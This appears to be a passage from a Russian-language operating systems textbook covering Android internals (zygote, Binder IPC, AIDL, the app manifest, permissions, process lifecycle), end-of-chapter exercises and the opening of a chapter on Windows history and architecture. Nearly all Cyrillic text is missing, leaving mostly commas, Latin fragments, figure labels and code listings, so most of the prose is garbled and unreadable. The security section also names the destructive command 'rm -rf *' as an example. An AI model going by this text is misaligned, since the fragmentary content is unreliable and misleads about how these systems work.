Dalvik

appN

app2

app1

Dalvik

Dalvik

Dalvik

zygote
installd

servicemanager

adbd

Dalvik

init

. 10.22. Android

Android- init , Android- .


- adbd (,

884

10. : Unix, Linux Android

USB), ,
.
Android Java,
zygote . , zygote, system_server
. , ,
.
zygote .
,
, ,
.
.
, Android (Android
framework). ,
.
system_server.
API- Android,
, , . 10.23.
API- ,
, PackageManager.

PackageManager

PackageManagerService
Binder IPC

Bind

er IP

der

Bin

IPC


. 10.23.

10.8. Android

885


system_server. system_server

(service manager), -, init. PackageManager service manager ,
.
PackageManager , .
PackageManager Android- Binder IPC,
PackageManagerService system_server. PackageManagerService
,
.

10.8.5. Linux
Android Linux, Linux. Android
,
Linux. Linux,
Android.



,
Android Linux
(wake locks) (suspend blockers).
:
,
. ,

.
: , -
. ,
,
.
.
, , ,
. , : ,
.

886

10. : Unix, Linux Android

,
, , .
: ,
, , ,
, , , .

.
, :
,
. , ,
, Linux ( ) ,
.

, , :
1. , .
2. , .
3. ,
, .
Android , .

. , , ,
- , .
, ,
, , , .
, , , ,
, -
. , .
, , . ,
(, ),
(, ).
Linux
: ,
, .
, , ,
, .

10.8. Android

887

,
, .

, .
, ,
.
- , .
, .


Linux Out-Of-Memory Killer,
.
.
, , . ,

,
.
, .
, .
,
, ,
, , , .
Android . ,
: ,
,
. Android
Linux- ,
.

, (, ) mmap , , ,
.
Linux- ,
, .
, Android , ,
.

888

10. : Unix, Linux Android

Android
. Android ,
.
,
-. , ,
- . ,
,
, , -
.
, ,
Android , . Linux
oom_adj,
. Android- ,
: oom_adj . Android
, .

10.8.6. Dalvik
Dalvik Android Java,
,
. system_service, ,
,
Java, Dalvik.
Android ,
Java. Java Android- - Dalvik, - ,
- Java, - . -
Dalvik , JIT- (Just-in-Time ). - Dalvik
,
.
Android- Java, - Java
Java. Android - Java
- Dalvik. - Dalvik ,

.
, ,
, Android
Linux.

10.8. Android

889

Java , , Linux.
Android . Android , Java
, , . ,
Linux- Dalvik, system_server ,
Java.
Android
Linux, ,
, , .
Android Linux,
SecurityManager Java.
Linux
Dalvik,
. , ,
, C++.
Java . Java
. : Android
, 200 .
Dalvik- .
200 ,
Java.
zygote. Dalvik- ,
, Java.
, Dalvik ( ),
zygote,
. Zygote Dalvik,
Android-, , .
, zygote Linux-
fork, exec .
zygote, , . Java- zygote . 10.24.
Dalvik-, ,
zygote
. (UID . .),
Dalvik-, ,
.

890

10. : Unix, Linux Android


Zygote

Dalvik

Dalvik

. 10.24. Dalvik- zygote

zygote .
zygote fork, zygote

, Dalvik- . Android, , :
(, ) (-).

.

10.8.7. Binder IPC


Android- , ,
.
(interprocess-communication (IPC)) ,
. Android IPC- Binder
Android-.
Binder (. 10.25).
,
ioctl. ( ioctl
.) API - ,
IBinder Binder,
IPC .
, IPC-, IPC .

10.8. Android

891

/aidl

transact()

onTransact()

IBinder / Binder
Binder

ioctl()
Binder
. 10.25. IPC Binder

Binder
Linux IPC-, , Binder
, IPC-.
Binder IPC Linux ,

. , Android
System V (, , ), .
IPC-, Binder,
(remote procedure call (RPC)).
IPC-, ;
, ,
. ( , , ,
.) ,
Binder IPC , Linux, , System V. Binder
.

892

10. : Unix, Linux Android

, ,
: , .
.
. 10.26 .
, , .
, . , ,
. ,
.
1

: 1
()

: 1
: 1
()

Ta

T1

T2

To: Object1
From: Process 1
(Data)

T1

T2

. 10.26. Binder IPC

( ,
, : . . , , .
, ,
.)
, . 10.26 . ,
. ,
.
- ,
, Ta (. . 10.26).
, , , ,
-.
(. 10.27). . , . C,
C++ - , .

10.8. Android
1

1a

1
2

893

1a

2a

2a

2
3

2
3

. 10.27. , Binder

(handle), Linux.
, , 1 2. , 2, , 2 1.
1 , 2,
, 2, O 2
.
,
, . (. . 10.27),
1 2 2, 2
2 1. , ,
, . ,
2, 2, ,
1. , , 1
, , , , .
?
Linux,
. .
. 10.28. ,
1 2 1 . ,
.
:
1. 1 ,
1.
2. 1 .
3. , 1
, .
4. , 2, ,
2, 2.

894

10. : Unix, Linux Android


1

2a

2
2a

1
2

2
2

3 6

1
: 2

: 2
: 1

5 : 2a

: 2a
: 1

: 1
4

3 6

. 10.28. Binder-

5. , 2, 2.
6. .
, 1 2,
3.
7. 2 .
8. 3
.
-, , ,
,
-. ,
, Linux,
. Binder IPC

.
Binder, , Linux . Binder-.
. - , .
, ,
, .

API Binder

Binder . -
, API-.
API-
, , :

10.8. Android

895

1. IBinder Binder. transact. .


, ,
- . , , , , Binder;.
2. Binder , Binder. Binder , . onTransact,
. Binder
;
3. Parcel - , Binder. ( , , ),
IBinder,
,
.
. 10.29 ,
(. . 10.27), . , Binder1b Binder2a Binder.
Parcel, ,
, , BinderProxy. , ,
IBinder, transact
.

Binder1

Binder1

Binder2
Binder2a

1
1

Parcel

Binder1

2
2
3

onTransact()
BinderProxy

transact()
BinderProxy
(Handle 2)

: 2
: 1

To: Binder2a
: 1

Binder1

Parcel

. 10.29. API- Binder

, API : BinderProxy, Parcel. ,


- Binder,

896

10. : Unix, Linux Android

Parcel
onTransact.
IPC-:
1. Binder.
2. onTransact
.
3. Parcel,
transact .
. , (
) , , , IPC.
,
, .

Binder AIDL
Binder IPC , , , .
Binder Parcel .

AIDL (Android Interface Definition Language Android-).
,
,
,
.
10.3 , AIDL.
IExample print, String.
10.3. AIDL
package com.example
interface IExample {
void print(String msg);
}

, 10.13, AIDL
Java (. 10.30):
1. IExample , Java;
2. IExample.Stub . Binder, , IPC-.
IExample, . :
onTransact IExample.
IExample;

10.8. Android

897

3. IExample.Proxy , IPC- .
IExample,
Parcel transact
IBinder, .
Binder

IExample

IExample.Stub

IExample.Proxy

IBinder

. 10.30. Binder

IPC. IExample IExample.Stub


, .
IExample, IExample.Proxy, .
IPC-
. 10.31. print IExample
:
1. IExample.Proxy Parcel,
transact BinderProxy.
2. BinderProxy
ioctl.
3. , , ioctl.
4. Parcel,
, ExampleImpl (
IExample.Stub), onTransact.
5. IExample.Stub Parcel ,
print.
6. , ExampleImpl print.
Android IPC. Android AIDL ,
. . 10.23, ,
system_server IPC
, ,
. AIDL-:
. , 10.4 AIDL . getService,
IBinder ,
.

898

10. : Unix, Linux Android


1

1
Examplelmpl

print("hello")
IExample
print("hello")

IExample.Proxy

IExample.Stub

transact({print hello})

onTransact({print hello})

ioctl()

BinderProxy
binder_module

ioctl()

Binder

. 10.31. Binder IPC AIDL

10.8.8. Android
Android , Linux ,
.
, ,
: , , ,
, .
10.4. AIDL-
package android.os
interface IServiceManager {
IBinder getService(String name);
void addService(String name, IBinder binder);
}

Android apk,
Android Package ( Android). zip-, ,
. apk- :
1. , , ,
. ,
, Java- (, com.android.app.calculator),
.
2. , , ,
, XML- ,
. .
3. , - Dalvik, .
4. , .

10.8. Android

899

, , , XML-
AndroidManifest.xml, zip, apk-.
10.5.
,
,
.
Android- ,
.
<application> , , .
, , : (activity), (receiver), (service)
(content provider).
,
.
, .
android:name Java- ,
, .
10.5. AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.email">
<application>
<activity android:name="com.example.email.MailMainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity android:name="com.example.email.ComposeActivity">
<intent-filter>
<action android:name="android.intent.action.SEND" />
<category android:name="android.intent.category.DEFAULT" />
<data android:mimeType="*/*" />
</intent-filter>
</activity>
<service android:name="com.example.email.SyncService">
</service>
<receiver android:name="com.example.email.SyncControlReceiver">
<intent-filter>

900

10. : Unix, Linux Android

<action android:name="android.intent.action.DEVICE STORAGE LOW" />


</intent-filter>
<intent-filter>
<action android:name="android.intent.action.DEVICE STORAGE OKAY" />
</intent-filter>
</receiver>
<provider android:name="com.example.email.EmailProvider"
android:author ities="com.example.email.provider.email">
</provider>
</application>
</manifest>

(package manager) Android,


. ,
. , ,
.
(
apk-),
( ).
, ,
. :
- ,

, , (,
) , ,
.
,
Windows.

. ,
, , .
, .

, , ,
. ,
.

(activity) , .
,

10.8. Android

901

. , .
, 10.5,
. , ,
.
, ,
.
,
, . , ,
. 10.32. , ,
ActivityRecord.
,
,
.
MainMailActivity ,
ActivityRecord. ,
(resumed), .
system_server

: Email

MailMainActivity

ActivityRecord
(MailMainActivity)

. 10.32.

( )
, , , . 10.33. , , , ActivityRecord
, . -
:
(stopped)
ActivityRecord.
, . ,
, , ,
system_server, ActivityRecord, .

902

10. : Unix, Linux Android



system_server

: Camera

CameraMainActivity

ActivityRecord
(CameraMainActivity)

: Email
ActivityRecord
(MailMainActivity)

MailMainActivity

. 10.33.

, , , , ,
, ,
- .
, Android
( ,
, , ),
. ,
, ,
. , ,
, .
,
, (. 10.34). ActivityRecord
system_server. system_server
Android, , , .

,
ComposeActivity. .
, ,
, .
, Android ,
ComposeActivity. , , ,
, ComposeActivity. ,

10.8. Android

system_server

: Camera

903

CameraMainActivity

ActivityRecord
(CameraMainActivity)

: Email
ActivityRecord
(MailMainActivity)

. 10.34.

. (
, ComposeActivity .)
,
, . 10.34, ,
. 10.35. , :
1. ,
ComposeActivity.
2. MailMainActivity ,
.
.
3. Camera : CameraMainActivity,
, ComposeActivity, .
: ,
, .
4. ComposeActivity , ,
. CameraMainActivity
, .
, - .
, , ,
Camera, ( ,
) . . 10.36
, . , Email . MailMainActivity
,
.

10. : Unix, Linux Android



system_server

: Camera

ComposeActivity

ActivityRecord
(ComposeActivity)


ActivityRecord
(CameraMainActivity)

CameraMainActivity

: Email
ActivityRecord
(MailMainActivity)

. 10.35.


system_server

: Email

MailMainActivity

ActivityRecord
(MailMainActivity)
ComposeActivity

: Camera

904

ActivityRecord
(ComposeActivity)

ActivityRecord
(CameraMainActivity)

CameraMainActivity

. 10.36.

10.8. Android

905

,
, .

, .
, , , , , .

(service) :
1. , .
,
(, IRC-) ,
,
, . .
2. ,
.

API- : , , . .
, 10.5,
, .
, 15 ,
, .
. . 10.37 ,
. ServiceRecord,
, ,
SyncService . ( ,
, ) . ,
, , , ,
ServiceRecord , , .


system_server

ServiceRecord
(SyncService)

SyncService

. 10.37.

906

10. : Unix, Linux Android

,
, ,
SyncService, API-,
.
API- AIDL-, ,
10.6.
10.6. sync
package com.example.email
interface ISyncControl {
int getSyncInterval();
void setSyncInterval(int seconds);
}

,
, .
(. 10.38). :
1. ,
.
2. , .
3. IBinder , IBinder ServiceRecord.
4. IBinder ,
.
5. , IBinder , , .

system_server

2.

ServiceRecord
(SyncService)
IBinder

3.

SyncService
IBinder

IBinder
5.
4.

IBinder

IBinder
1.

. 10.38.

10.8. Android

907

(receiver) ( , ) .
, ,
- (
, . .), , .
, 10.5,
, ,
, (
). ,
,
, .
. 10.39 ,
. ,
BroadcastRecord, . ,
.

system_server

BroadcastRecord
DEVICE_STORAGE_LOW

SyncControlReceiver

SyncControlReceiver
(Calendar app)

SyncControlReceiver
(Email app)

SyncControlReceiver

CleanupReceiver
(Browser app)

CleanupReceiver

. 10.39.

. , ,
. ReceiverRecord,
, ,
.
.

908

10. : Unix, Linux Android


(content
provider), ,
. (URI), content: . URI
, .
, 10.5
, com.example.email.provider.email. , URI, ,
content://com.example.email.provider.email/

URI ,
.
, URI
content://com.example.email.provider.email/messages

,
content://com.example.email.provider.email/messages/1

1.
API- ContentResolver,
URI-, ,
. ContentResolver query,
URI Cursor
. ,
:
query("content://com.example.email.provider.email/messages")

, , ,
, . . 10.40:
1. ContentResolver.query .
2. URI- , ( ) .
3. , .
4.
IBinder, IContentProvider.
5. IBinder ContentResolver.
6. query,
AIDL-,
Cursor.

. ,

10.8. Android

system_server

909


3.

ProviderRecord
(EmailProvider)

EmailProvider
4.

IBinder

IContentProvider.Stub

IBinder

6. query()
5.

IBinder
2.

IContentProvider.Proxy

ContentResolver
1. query()

. 10.40.

, . 10.35, .
:
1. , URI
, .
2. ContentResolver MIME- , URI.
query,
MIME- URI.
3. , MIME-.
4.
.
5. , .
6. , , URI , ContentResolver : , . .

10.8.9.
, ,
10.5, <intent-filter>,
. Android
(intent), , ,
.
, Android , . -
Linux,

910

10. : Unix, Linux Android

, ,
.
: . (explicit intent)
,
Linux .
, : . , . 10.32 ,
10.5.
com.example.email com.example.email.MailMainActivity.

, , . 10.32.
, , .
, .
(implicit intent) , , Linux ,
.
, ,
(intent resolution).
Android , . 10.35, ,
, , . , , , ,
.
android.intent.action.SEND, 10.5
, compose , .
:
;
;
, .
, .
,
. , -
, .
,
.
.
,
, , ResolverActivity.

10.8. Android

911

, ,
. ,

, .
Android Linux: Android,
,
. Android
.

10.8.10.
, , .
, ls ,
(UID) ,
. ,
, , ,
.

. , ,
. , , , .
,

(admin), ,
.
,
,
. , , ,
. : , ,
UNIX? , .
rm -rf *,
. , ,
. !
Android : . ,
- , .
Android
. Android,

912

10. : Unix, Linux Android

Linux
(UID) .
Linux , ,
, .
, Android Linux ,
. .

10.8.11.
Android UID-.
Linux UID, Android UID
. IPC,
UID . Binder
IPC ,
, IPC UID
.
Android UID- , UID
UID . . 10.16
UID . UID- 10 000

,
. 10 00019 999 UID-,
, . , 10 000 .
, 100 000,
Android: , UID 10 002
,
110 002.
10.16. UID- Android
UID

Root

1000

( system_server)

1001

1013

2000

10 00019 999

UID-

100 000

UID, , UID.

10.8. Android

913

, ,
.
,
, .
, UID 1000, .
installd: ,
. installd API-
.
Android
, ,
. , (
),
.
. ,
.
, , , ,
.
,
. , .
?
Android ,
. , .
, ,
.
. 10.41 , .
READ_PICTURES,
, , , . ,
. URI,
, content://pics/1. URI ,
. ,
.
; IPC-
. ,
UID-,
,
UID-. UID, IPC-, -

914

10. : Unix, Linux Android


system_server

UID Email


READ_CONTACTS
READ_PICTURES
INTERNET

PicturesProvider
: pics

content://pics/1

UID Browser

ComposeActivity

INTERNET

. 10.41.

, UID . ,

, .
. 10.42 , , ,
, .
, , , .
PicturesProvider , READ_PICTURES,
SecurityException.
,
. ,
. ,
INTERNET.
READ_PICTURES? , ,
,
.
, , , . 10.35. :
,
ComposeActivity. URI ,
, , . ,
, ,
. , , URI .

10.8. Android

915

system_server

UID Email

PicturesProvider
: pics


READ_CONTACTS
READ_PICTURES
INTERNET

content://pics/1

UID Browser

BrowserMainActivity

INTERNET

. 10.42.


, .
. -, , . -,
, ,
.
:
, .
, ,
.
Android ( . 10.43
). ( ) , content://pics/1.
, , URI- ,
ComposeActivity URI. ComposeActivity
, URI, PicturesProvider , , URI, ,
, .
URI
. , android.intent.action.GET_CONTENT,
, . -

916

10. : Unix, Linux Android

, , -: ,
, ,
, - .

system_server
URI
: ComposeActivity
URI: content://pics/1

: Pictures
ActivityRecord
(ComposeActivity)

PicturesProvider
: pics

content://pics/1

ComposeActivity

content://pics/1

ActivityRecord
(CameraActivity)

. 10.43.

. 10.44. ,
. 10.43, ,
. URI
, URI .
,
,
. .
, , ,
Android , .
, Android
. ,
,
,
, .

10.8. Android

917

Android
. ,
,
, . ,
, .
,
, .
, - , .
Android .
, .
,
. ,
.

system_server

URI
: ComposeActivity
URI: content://pics/1

PicturesProvider
: pics

content://pics/1

: Pictures

ActivityRecord
(PicturePickerActivity)

ComposeActivity

content://pics/1

ActivityRecord
(ComposeActivity)

. 10.44.

, Android . , , , .

918

10. : Unix, Linux Android

(, ),

. ,
, ,
, .

10.8.12.
, Linux, (
fork) , exec , ,
. ,
, .
, Linux .
Android -.
, , Android, , .
, , , ,
.


, zygote.
zygote, , . : UID,
, ,
, . , zygote
root-: UID,
, root- ,
UID.
, Android- ,
(. . 10.32), (. . 10.37), ( ,
. 10.39) (. . 10.40).
. ,
. 10.32,
, ,
, .
. 10.45. :
1. - (,
) ,
, .
2. , .

10.8. Android

919

3. , , zygote UID.
4. Zygote , ,
, UID , Dalvik
Java. ,
, .
5. , zygote
Java-,
: ?.
6.
, , .
7. .
8. , X.
9. , Java- .
system_server

PackageManagerService
2

ty(

ivi

ct

rtA

sta

8
ActivityManagerService

Android-

4
3

zygote

. 10.45.

,
. , ,

920

10. : Unix, Linux Android

.
, ,
. 10.36.


,
. , ,
, , ,
( ) .
, Android , , oom_adj
, , .
oom_adj , ,
. . 10.17,
.
oom_adj, .
10.17.

oom_adj

SYSTEM

16

PERSISTENT

12

FOREGROUND

VISIBLE

PERCEPTIBLE

-,

SERVICE

HOME

()

CACHED

, ,
, ,
, , .
oom_adj , , ,
.
, Android ,
. , , ?
- ? :
. Android . , ,
.

10.8. Android

921

Android .
,
.
, ,
, ,
. , ,
, , .


,
Android. .
,
. , .
,
.

( ), (
).
.
:
( ) oom_adj. ,
.
.
, , ,
. , - .
,
, , .

.
, .

. ( , .)
, , .
. 10.18 , ,
. ,

(. . 10.44).
, ,
.

922

10. : Unix, Linux Android

. ,
.
10.18.

system

SYSTEM ()

phone

PERSISTENT ( )

email

FOREGROUND (
)

camera

FOREGROUND (
)

music

PERCEPTIBLE ()

media

PERCEPTIBLE ()

download

SERVICE ()

launcher

HOME ()

maps

CACHED ()

, , , . 10.18,
, . . 10.19 , . , ,
. maps
.
10.19. ,

system

SYSTEM ()

phone

PERSISTENT ( )

email

FOREGROUND ( )

music

PERCEPTIBLE ()

media

PERCEPTIBLE ()

download

SERVICE ()

launcher

HOME ()

10.9.

923

camera

CACHED ()

maps

CACHED+1 ( + 1)


.
, , ,
.
,
.

10.9.
Linux (
) UNIX, (
). : ,
C . .
. ,
. .
C ,
(, printf ).
86
250 ,
.
Linux ,
, - . , . Linux
UNIX- , Linux
, . (
)
( ).
, .
,
( ).
, , .
. ,
,
- .
: , .
. ,
.

924

10. : Unix, Linux Android

- ,
.
- . -
,
. , (
).
, .
, .
. ,
, ,
. : ,
i-. i-
. .
, ,
, .
.
Android , . Linux, Linux
Linux. Android Java.
Java, - Java, - Dalvik.
Android ,
. (interprocess-communication (IPC))
Linux-, Binder.
Android , . , ,
. Android , Linux, ,
.

1. , , UNIX C,
.
2. POSIX- . , POSIX ,
.
3. Linux gcc.
.
4. :

aardvark

feret

koala

porpoise

unicorn

bonefish

grunion

llama

quacker

vicuna

capybara

hyena

marmot

rabbit

weasel

dingo

ibex

nuthatch

seahorse

yak

emu

jellyfish

ostrich

tuna

zebu

925


ls [abc]*e*?

5. Linux?
grep nd xyz | wc -l

6. Linux, z
.
7. Linux
,
?
8. :
a | b | c&
d | e | f&

,
?
9. Linux , (, HOME) , .
, ?
10. , UNIX
: 100 ,
20 , 10 , 1 ,
5 .
1 , 32- 50 .
, .
11. , , fork ,
. fork Linux,
(
fork). Linux , fork?
12. nice ?
13. Linux-, ,
100 139.
nice?

926

10. : Unix, Linux Android

14. ,
? ?
15. ? .
16. , Linux
,
?
17.
() . Pentium ? , ?
, ?
18. , , ,
?
19. PID.
,
,
PID? .
20. PID .
?
21. fork
: ,
( ) .
, p1 p2 p3. ,
.
22. sharing_flags, clone Linux,
fork UNIX?
UNIX?
23. , A B, . A
, . ,
Linux, , O(1) CFS.
24. UNIX- , , . ? (, ),
?
25. Linux ( ) , 0- ,
, .
? ,
0-
.
26. , 100 , 30 50 BSS.

927

10 . , . :
) ;
) ?
27. Linux ?
28. Linux
,
, . ?
29. mmap
.
30. mmap
:
mmap(65536, 32768, READ, FLAGS, fd, 0)

8 .
72 000?
31.

munmap(65536, 8192)

? , ? ?
32. ? , . , ?
33. ,
? , , .
, .
34. ,
, . ?
35. .
36. . , . ,
:
1) A 0- 10-;
2) B 20- 30-;
3) C 8- 40-;
4) A 25-
35-;
5) B 8.
37. . 10.16, . ,
10 11 . ,

928

10. : Unix, Linux Android

C , 10 11 .
? .
38. ,
. , ?
39. Linux , , 755 ()?
40. , .
Linux?
41. . 10.14 x
. ,

?
42. , , .
.
43. /usr/ast/work/f, ,
i- .
, i- , 1 .
44. I- Linux 12 ,
, . ,
256 , 1 ?
45. i-, i-. , .
, i-.
?
46. Linux
. ? .
47. ,
. .
48. pdflush
30 . ?
49. , , , . , ,
i- 2, i-.
, , ?
50. , Linux .

929

51. unlink , ?
?
52. , , ,

1,44 , Linux ext2? ,
1 .
53. , ,
, ,
?
54. ,
, . Linux .
,
. ,
. , .
?
55. Linux fsuid. setuid, ( ), fsuid
.
?
56. Linux- /proc/####, ####
, , .
, :
) ?
) ?
)
?
57. Android- -
, - ?
58. Android, ,
Linux-?
59. - zygote- Android
, ,
zygote-
?
60. , Android Binder IPC
. , , .
, ?

930

10. : Unix, Linux Android

61. Android-,
:
1) () ;
2) ;
3) ;
4) -.
-, ,
, ,
. ?
62. , .
.
63. BIOS ,
Pentium.
BIOS
( , ).
64. , ( Linux)
.
POSIX.
65. - ,
( ).
. ? ?
.
? Linux ?
66. ,
Linux. : mythreads_init, mythreads_create,
mythreads_join, mythreads_exit, mythreads_yield, mythreads_self , ,
. : mythreads_mutex_init,
mythreads_mutex_lock, mythreads_mutex_unlock. .

( ) .
,
( ). ,
, 2.6
Linux ( ).
.
67. , , ,
, , . .

11.
:
Windows 8

Windows , , , -, . Windows Microsoft


Xbox Azure.
Windows 8.1.
Windows 8, , .
, , , -,
, , , .

11.1. Windows Windows 8.1


Microsoft Windows ( PC)
: MS-DOS, Windows MS-DOS, Windows NT
Windows. .
. . 11.1
Microsoft .
.
11.1. Microsoft

MS-DOS

1981

1.0


IBM PC

1983

2.0


PC/XT

1984

3.0


PC/AT

1990
1991
1992

Windows
MS-DOS

3.0
5.0

Windows
NT

Windows

10

3.1

286

932

11. : Windows 8
11.1 ()

MS-DOS

Windows
MS-DOS

1993
1995

Windows

NT 3.1
7.0

95

1996

MS-DOS
Windows 95
NT 4.0

1998
2000

Windows
NT

98
8.0

Me

2000

Windows Me
Windows 98

2001

XP

Windows 98

2006

Vista

Vista
XP

2009


Vista

2012

2013

8.1

Microsoft

11.1.1. 80- : MS-DOS


1980- IBM (
)
Intel 8088. 1970-
Microsoft BASIC 8080 Z-80.
IBM Microsoft BASIC IBM PC, Microsoft ,
IBM Digital Research
CP/M ( Microsoft
). IBM , (Gary Kildall), Digital Research,
IBM. , , , ,
CP/M IBM, , ,
. , IBM , Microsoft, .
Microsoft CP/M Seattle
Computer Products, IBM PC IBM
. MS-DOS 1.0 (Microsoft Disk Operating System)
1981 IBM PC.
MS-DOS 16- ,
8 . 10
, MS-DOS , -

11.1. Windows Windows 8.1

933

. 1986 IBM PC/AT


Intel 286 MS-DOS 36 ,
.

11.1.2. 90- : Windows


MS-DOS
,
(Doug Engelbart) Stanford Research Institute,
Xerox PARC, , Apple Lisa Apple Macintosh, Microsoft
MS-DOS ,
Windows. Windows (1985 1987 )
( -
). 1990 Microsoft Windows 3.0
Intel 386 1
.
Windows 3.0 ,
MS-DOS, - . ,
.
1995 Windows 95.
, ,
, , 32-
. ,
. Windows 98 Windows Me, -
16- MS-DOS.

11.1.3. 2000 : Windows NT


80- Microsoft , MS-DOS .
,

, UNIX.
Microsoft
Intel, RISC. Microsoft
DEC (Digital Equipment Corporation)
(Dave Cutler)
VMS. 32- ,
OS/2 (Microsoft IBM).
NT OS/2.
NT New Technology ( ),
, Intel 860
N10. NT ,

934

11. : Windows 8

. , Windows MS-DOS. DEC


, NT
(. 11.2) .
11.2. DEC,


DEC

1973

RSX-11M

16-

1978

VAX/VMS

32-

1987

VAXELAN

1988

PRISM/Mica

, MIPS/
Ultrix

DEC ( ) ,
NT VMS ( MICA),
DEC Microsoft Microsoft DEC.
. , Microsoft
NT Alpha DEC.
DEC
, 1977
DEC . : ,
- . 1998 , DEC, Compaq,
Hewlett-Packard.
UNIX , NT
. - VMS, (
) . 1970- UNIX
16- ,
.
, fork exec (
). NT
1990- , 32-
. NT , ,
fork exec ( ).
Windows NT (Windows NT 3.1) 1993 .
3.1 , Windows 3.1 . IBM
, , -
OS/2, 32- Windows Win32.

11.1. Windows Windows 8.1

935

NT
Windows 3.0, .
Win32, Win32s.
Windows MS-DOS, Windows NT
. NT , 32-
, ,
Windows MS-DOS (
Microsoft , 1995 Windows 95). NT,
Windows 95 32- ,
16-
. , NT
, VMS NetWare.
NT 1994
1995 MIPS PowerPC. NT Windows NT 4.0 1996 . ,
NT ,
Windows 95.
. 11.1 Win32
Windows. (API)
Windows MS-DOS Windows NT
NT.
Win32

Win32

Win32s
Windows
3.0/3.1

Windows
95/98/98SE/Me

Windows
NT/2000/Vista/7

Windows
8/8.1

. 11.1. Win32
Windows

Windows 95
NT .
, Windows
NT 4.0 1996 ( Alpha
DEC) (Windows 2000) x86 ( Pentium).
Windows 2000 NT. : Plug-and-Play (
PCI),
( ), ( ); .

936

11. : Windows 8

Windows 2000 , Microsoft


NT
(Windows XP), Windows 98. Windows XP
, Microsoft ,
.
Windows XP , Microsoft
Windows MS-DOS.
Windows XP Microsoft ,
. 2006
Windows Vista, Windows XP.
, .
.
, , , . Vista
(Windows Server 2008) .
(, , ), Vista.
NT Show-stopper (Zachary, 1994).
.

11.1.4. Windows Vista


Windows Vista ( )
Microsoft.
, Vista .
.NET- C# (
) ,
(, WinFS ).
. NT 3 C/C++,
16 NT 4.0, 30 Windows
2000, 50 Windows XP 70 Vista Windows 7 8.
Microsoft
.
system32 1600
(DLL) 400 (EXE) , ( ),
( ,
, , , ). Microsoft
, ,

11.1. Windows Windows 8.1

937

( ,
, . .).
. Windows . Windows - () -,
Windows Vista DVD-. ,

, .
Microsoft, Windows Vista ,
,
.
, . ,
- .
,
,
. Windows
Vista ,
Windows XP ,
.
Windows Vista , Windows 7. Microsoft
,
,
, . Windows 7
Windows
Vista, . Windows 7 Windows Vista, Windows XP
Windows.

11.1.5. 2010- : Windows


Windows 7
. Apple iPhone
iPad ,
Android , Microsoft .
, , ,
.
, , .
, ,
.
, ,
, , , -

938

11. : Windows 8

. - .
Microsoft , , Google Apple. ,
: , , ,
, , .
, Windows ,
Windows Vista, Windows 8.
Microsoft , Windows 7,
,
.
Windows 8 MinWin, Windows 7,
,
. ,


. Windows
Phone 8, ,
.
Windows ARM, Intell,
.
Windows 8 Windows.
Windows 8 . ,
( )
.
, ,
. 14
2013 Microsoft Windows 8.1.
,
, .
Windows 8,
, Windows 8.1.

11.2. Windows
Windows. ,
, API NT , Win32, Windows NT,
WinRT, Windows 8.
. 11.2 Windows.
,
. , (DLL),

11.2. Windows

939

. Windows
,
. (RPC).

Windows

Windows



WinRT: .NET/C++, WWA/JS

NT: smss, lsass,


services, winlogon,
...

COM

Win32
(csrss.exe)

AppContainer


Windows

()
[.NET: , GC]

(shell32ldll,
user32.dll, gdi32.dll)

(ole, rpc)
API (kernel32)

NT,
C/C++ (indll.dll)
NTOS (ntoskrnl.exe)

:
,
,

NTOS (ntoskrnl.exe)


(Win32k.sys)

(hal.dll)
(hvix, hvax)
. 11.2 . Windows

NT NTOS (ntoskrnl.
exe), (
). Windows
Microsoft . ,
NTOS .
NT : OS/2, POSIX Win32. OS/2
Windows XP. POSIX Windows 8.1
. Windows-
API-, WinFX .NET, Win32.
POSIX ( Interix) Services For UNIX (SFU)
Microsoft, POSIX .
Windows Win32 ( Microsoft ).
Win32 .NET
NT. .NET -

940

11. : Windows 8

Win32. .NET Win32 ( POSIX OS/2).


WinFX
Win32, Base Class
Library WinFX API- Win32. WinFX ,
,
Common Language Runtime .NET ( ).
Windows Windows 8,
API- WinRT. Windows 8 Win32 ,

. Microsoft ,
, ,
, . GUI, ,
, API- Modern Software Development Kit,
WinRT API-.
. API- , C++ .NET, JavaScript
, wwa.exe (Windows Web Application).
WinRT API Microsoft
MSDK (Microsoft Development Kit) Win32 API. WinRT API .
Win32 API.
, MSDK

Win32. , Windows ,
(, )
( ). Win32
API API- Win32, .
, Win32 API-
,
. API-, Win32,
MSDK API- ANSI. MSDK API Unicode.
(modern) , Windows,
. , Windows,
Windows .
Win32, , , ,
. ,
, ,

11.2. Windows

941

. , ,
. , . ,
,
WinRT API-.
,
.
Windows .
Win32
, .
Widows- AppStore, , Microsoft. Microsoft ,
Apple Android. Microsoft
, , ,
, , API-,
MSDK.
,
AppContainer.
, ,
. Windows AppContainer Windows .
, WinRT
API-, - (broker processes),
, .
. 11.3, NT :
, , CreateProcess,
. .
, smss.exe ( );
NT,
CreateProcess Win32 API .
Win32, Windows -
, Win32 csrss.exe.

, , ( ) ( ).
LPC (Local Procedure Call),
.
Win32 ( CreateProcess) ,
( ). smss.exe
csrss.exe ( ). .

942

11. : Windows 8

. 11.3. , NT

NT ,
, .

. , NtCreateProcess
fork POSIX, Win32
( atoms),

.
NT, NT , smss.exe lsass.
exe ( ).
, ,
, , ,
.

11.2.1.
NT
, Windows
, .
NTOS, . Microsoft
. ( ),
, , . NT
, Microsoft ,

11.2. Windows

943

Windows Win32 , ,
Windows MS-DOS, Windows NT (
Win32 API ).
NT
( , , , , . .).
. 11.3 Windows . ,
.
11.3.

, , , IPC,
-

, , ,

, , , ,

Win32

, , ,
.
,
- , .
NT
.
( ) (handle).
. .

.
( ), ,
. , ,
-, .
(security descriptor),
, .
, . ,
- .
,
. ,
, - .
, .

944

11. : Windows 8

,
.
( ), .
. 11.4 API,
, , ,
IPC, (sections), ,
. NtCreateProcess
,
, SectionHandle. DebugPortHandle
(,
). ExceptPortHandle ,
.
11.4.
NT,

NtCreateProcess(&ProcHandle, Access, SectionHandle, Debug PortHandle, ExceptPortHandle...)
NtCreateThread(&ThreadHandle, ProcHandle, Access, ThreadContext, CreateSuspended...)
NtAllocateVirtualMemory(ProcHandle, Addr, Size, Type, Protection...)
NtMapViewOfSection(SectHandle, ProcHandle, Addr, Size, Protection...)
NtReadVirtualMemory(ProcHandle, Addr, Size...)
NtWriteVirtualMemory(ProcHandle, Addr, Size...)
NtCreateFile(&FileHandle, FileNameDescriptor, Access...)
NtDuplicateObject(srcProcHandle, srcObjHandle, dstProcHandle, dstObjHandle...)

NtCreateThread ProcHandle, , (
